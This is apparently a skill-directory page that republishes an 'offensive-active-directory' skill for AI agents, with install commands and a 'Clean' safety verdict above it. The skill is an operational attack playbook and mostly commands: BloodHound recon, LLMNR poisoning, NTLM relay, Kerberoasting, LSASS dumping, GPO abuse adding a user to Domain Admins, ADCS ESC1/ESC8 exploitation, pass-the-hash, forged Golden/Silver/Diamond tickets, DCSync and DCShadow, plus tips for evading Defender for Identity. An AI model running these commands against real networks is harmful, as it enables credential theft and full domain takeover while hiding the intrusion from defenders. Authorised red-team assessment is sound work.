offensive-active-directory skill
Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
Is the offensive-active-directory skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the offensive-active-directory skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/active-directory/offensive-active-directory ~/.claude/skills/offensive-active-directory
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Active Directory — Offensive Testing Methodology
Quick Workflow
- Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
- Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
- Map attack paths to Domain Admin / Enterprise Admin / Tier 0
- Execute path with lowest detection cost, validate at each hop
- Establish persistence and document every action with timestamps
Reconnaissance
BloodHound Collection
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth
# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c AllPowerView (No Tool Drop)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}ADExplorer Offline
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/Credential Harvesting
LLMNR / NBT-NS / mDNS Poisoning
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf
# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP YCrack with hashcat mode 5600. If cracking fails, relay instead.
NTLM Relay
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
--escalate-user attacker --delegate-access
# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainControllerKerberoasting
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.ruleASREProasting
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txtLSASS / SAM Dumping
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --validParse with Mimikatz or pypykatz offline:
pypykatz lsa minidump lsass.dmpPrivilege Escalation Within AD
ACL Abuse
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
-PrincipalIdentity attacker -Rights DCSyncKerberos Delegation
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap
# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
/msdsspn:cifs/dc.corp.local /ptt
# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer objectCoercion Primitives
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machineGPO Abuse
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
--GPOName "Workstation Policy"ADCS Abuse — ESC1 through ESC15
Enumeration
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdoutCommon Misconfigurations
ESC1 Exploitation
# Request cert as Administrator
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \
-upn administrator@corp.local
# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1ESC8 (Web Enrollment Relay)
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSyncLateral Movement
Pass-the-Hash / Overpass-the-Hash
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /pttPass-the-Ticket
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.localSilent Lateral Tools
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>
# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>
# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"Persistence
Golden Ticket (krbtgt forge)
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.localSilver Ticket (per-service forge)
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
-spn cifs/server.corp.local AdministratorDiamond / Sapphire Ticket (modern, evades MDI on krbtgt)
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512DCSync
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'DCShadow (register rogue DC, push changes)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /pushMore skills from SnailSploit/Claude-Red
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